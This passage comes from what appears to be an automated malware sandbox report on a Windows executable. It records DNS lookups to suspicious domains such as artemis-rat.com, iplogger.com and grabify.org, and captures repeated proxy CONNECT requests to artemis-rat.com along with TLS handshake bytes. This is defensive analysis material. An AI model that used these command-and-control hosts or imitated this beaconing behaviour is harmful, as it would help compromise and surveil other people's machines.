.rsrc	0xc000	0x5d6	0x600	f1ee9f02a5cb6e37adf0d993ee3f387b	False	0.4186197916666667	data	4.124252649326652	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc0a0	0x34c	data			0.4099526066350711
RT_MANIFEST	0xc3ec	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Network Behavior

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2024 03:30:34.791852951 CET	192.168.2.5	1.1.1.1	0x8a87	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:42.411597013 CET	192.168.2.5	1.1.1.1	0xc5de	Standard query (0)	ktxcomay.com.vn	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:45.843635082 CET	192.168.2.5	1.1.1.1	0x9b66	Standard query (0)	artemis-rat.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:52.218596935 CET	192.168.2.5	1.1.1.1	0xa1a3	Standard query (0)	yip.su	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:52.219515085 CET	192.168.2.5	1.1.1.1	0x70d9	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:53.792306900 CET	192.168.2.5	1.1.1.1	0x4118	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:53.844377041 CET	192.168.2.5	1.1.1.1	0x9b73	Standard query (0)	shipofdestiny.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:53.849052906 CET	192.168.2.5	1.1.1.1	0x45a0	Standard query (0)	sty.ink	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:53.854512930 CET	192.168.2.5	1.1.1.1	0xed98	Standard query (0)	namemail.org	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:53.859807968 CET	192.168.2.5	1.1.1.1	0xa014	Standard query (0)	net.geo.opera.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.076706886 CET	192.168.2.5	1.1.1.1	0x9221	Standard query (0)	iplogger.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.081505060 CET	192.168.2.5	1.1.1.1	0xc559	Standard query (0)	ittrade.org	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.098566055 CET	192.168.2.5	1.1.1.1	0x30d4	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.504236937 CET	192.168.2.5	1.1.1.1	0xf4c4	Standard query (0)	lawyerbuyer.org	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:57.934679031 CET	192.168.2.5	1.1.1.1	0x2609	Standard query (0)	grabify.org	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:31:00.327290058 CET	192.168.2.5	1.1.1.1	0x5392	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2024 03:30:34.947017908 CET	1.1.1.1	192.168.2.5	0x8a87	No error (0)	github.com		140.82.112.4	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:43.174540043 CET	1.1.1.1	192.168.2.5	0xc5de	No error (0)	ktxcomay.com.vn		222.255.238.159	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:46.090693951 CET	1.1.1.1	192.168.2.5	0x9b66	No error (0)	artemis-rat.com		104.21.54.158	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:46.090693951 CET	1.1.1.1	192.168.2.5	0x9b66	No error (0)	artemis-rat.com		172.67.140.87	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:52.374389887 CET	1.1.1.1	192.168.2.5	0x70d9	No error (0)	pastebin.com		104.20.68.143	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:52.374389887 CET	1.1.1.1	192.168.2.5	0x70d9	No error (0)	pastebin.com		172.67.34.170	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:52.374389887 CET	1.1.1.1	192.168.2.5	0x70d9	No error (0)	pastebin.com		104.20.67.143	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:52.730093956 CET	1.1.1.1	192.168.2.5	0xa1a3	No error (0)	yip.su		172.67.169.89	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:52.730093956 CET	1.1.1.1	192.168.2.5	0xa1a3	No error (0)	yip.su		104.21.79.77	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:53.947572947 CET	1.1.1.1	192.168.2.5	0x4118	No error (0)	bitbucket.org		104.192.141.1	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.020378113 CET	1.1.1.1	192.168.2.5	0x45a0	No error (0)	sty.ink		172.67.200.219	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.020378113 CET	1.1.1.1	192.168.2.5	0x45a0	No error (0)	sty.ink		104.21.13.170	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.029437065 CET	1.1.1.1	192.168.2.5	0x9b73	No error (0)	shipofdestiny.com		104.21.32.142	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.029437065 CET	1.1.1.1	192.168.2.5	0x9b73	No error (0)	shipofdestiny.com		172.67.152.98	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.107320070 CET	1.1.1.1	192.168.2.5	0xed98	No error (0)	namemail.org		172.67.178.183	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.107320070 CET	1.1.1.1	192.168.2.5	0xed98	No error (0)	namemail.org		104.21.83.164	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.234003067 CET	1.1.1.1	192.168.2.5	0x9221	No error (0)	iplogger.com		172.67.188.178	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.234003067 CET	1.1.1.1	192.168.2.5	0x9221	No error (0)	iplogger.com		104.21.76.57	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.512200117 CET	1.1.1.1	192.168.2.5	0xa014	No error (0)	net.geo.opera.com	us.net.opera.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 11, 2024 03:30:54.512200117 CET	1.1.1.1	192.168.2.5	0xa014	No error (0)	us.net.opera.com	lati.lb.opera.technology		CNAME (Canonical name)	IN (0x0001)	false
Mar 11, 2024 03:30:54.512200117 CET	1.1.1.1	192.168.2.5	0xa014	No error (0)	lati.lb.opera.technology		107.167.110.211	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:54.512200117 CET	1.1.1.1	192.168.2.5	0xa014	No error (0)	lati.lb.opera.technology		107.167.110.216	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.267923117 CET	1.1.1.1	192.168.2.5	0x30d4	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 11, 2024 03:30:55.267923117 CET	1.1.1.1	192.168.2.5	0x30d4	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 11, 2024 03:30:55.267923117 CET	1.1.1.1	192.168.2.5	0x30d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.234.57	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.267923117 CET	1.1.1.1	192.168.2.5	0x30d4	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.169.201	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.267923117 CET	1.1.1.1	192.168.2.5	0x30d4	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.29.28	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.267923117 CET	1.1.1.1	192.168.2.5	0x30d4	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.11.201	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.267923117 CET	1.1.1.1	192.168.2.5	0x30d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.179.67	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.267923117 CET	1.1.1.1	192.168.2.5	0x30d4	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.7.110	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.267923117 CET	1.1.1.1	192.168.2.5	0x30d4	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.145.75	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.267923117 CET	1.1.1.1	192.168.2.5	0x30d4	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.195.169	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.337651014 CET	1.1.1.1	192.168.2.5	0xc559	No error (0)	ittrade.org		172.67.177.133	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.337651014 CET	1.1.1.1	192.168.2.5	0xc559	No error (0)	ittrade.org		104.21.59.130	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.785830021 CET	1.1.1.1	192.168.2.5	0xf4c4	No error (0)	lawyerbuyer.org		104.21.63.71	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:55.785830021 CET	1.1.1.1	192.168.2.5	0xf4c4	No error (0)	lawyerbuyer.org		172.67.170.65	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:58.213479996 CET	1.1.1.1	192.168.2.5	0x2609	No error (0)	grabify.org		172.67.168.159	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:30:58.213479996 CET	1.1.1.1	192.168.2.5	0x2609	No error (0)	grabify.org		104.21.94.192	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:31:00.503660917 CET	1.1.1.1	192.168.2.5	0x5392	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 11, 2024 03:31:00.503660917 CET	1.1.1.1	192.168.2.5	0x5392	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 11, 2024 03:31:00.503660917 CET	1.1.1.1	192.168.2.5	0x5392	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.20.209	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:31:00.503660917 CET	1.1.1.1	192.168.2.5	0x5392	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.73.73	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:31:00.503660917 CET	1.1.1.1	192.168.2.5	0x5392	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.17.212	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:31:00.503660917 CET	1.1.1.1	192.168.2.5	0x5392	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.171.33	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:31:00.503660917 CET	1.1.1.1	192.168.2.5	0x5392	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.170.17	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:31:00.503660917 CET	1.1.1.1	192.168.2.5	0x5392	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.178.99	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:31:00.503660917 CET	1.1.1.1	192.168.2.5	0x5392	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.232.113	A (IP address)	IN (0x0001)	false
Mar 11, 2024 03:31:00.503660917 CET	1.1.1.1	192.168.2.5	0x5392	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.41.220	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49730	211.234.125.5	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.024704933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49741	211.234.125.5	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.046173096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49750	211.234.125.5	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.062390089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49753	211.234.125.5	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.065145016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49721	104.16.25.216	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.162008047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.316281080 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49727	172.67.200.220	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.172789097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.327132940 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49711	184.169.154.119	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.174758911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.349553108 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:37 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:37.350061893 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c cc f1 1d cd 13 3f b2 f7 91 14 04 9c 85 c2 82 7e 8f 87 c7 2a 6e f2 67 f0 2b de ea c9 80 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: el?~ng+,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:37.524085999 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 6c 73 b6 95 e1 ce 16 23 ed ef d8 e5 d6 51 9b 9f 95 18 18 aa 4f 78 12 d7 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9ls#QOxDOWNGRD0000H010Uartemis-rat.com0240311021340Z260311021340Z010Uartemis-rat.com0"0H0r.X=
Mar 11, 2024 03:30:37.568624973 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 f0 57 6a 40 ab 40 55 b9 16 db f2 d8 b6 da f4 6f af b3 75 08 3d 3a 24 87 2f cc 9c 2e 50 18 02 16 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 19 7d 62 ae ea ff e2 00 44 78 69 fa 86 ba 93 8a 6c 1c b3 7e 44 Data Ascii: %! Wj@@Uou=:$/.P(}bDxil~D)fj-
Mar 11, 2024 03:30:37.741276026 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 b0 92 2d f6 cd fe f7 88 86 a5 17 f4 7a 04 d6 cd ab 0c 61 0b 12 d8 3c 72 c3 bc e2 cb 06 dd a9 d0 da e4 d9 66 25 13 4d fa Data Ascii: (-za<rf%M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49735	50.63.12.101	10647	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.200896978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.654917955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.154901981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.154918909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.154879093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.217761993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.239248991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405343056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.475188971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49752	104.16.224.33	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.221856117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.376415968 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49766	172.67.105.234	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.245171070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.399528980 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49855	103.133.222.170	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.281909943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49858	103.133.222.170	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.286183119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49787	104.23.141.196	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.298402071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.453550100 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49722	51.38.231.41	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.320893049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
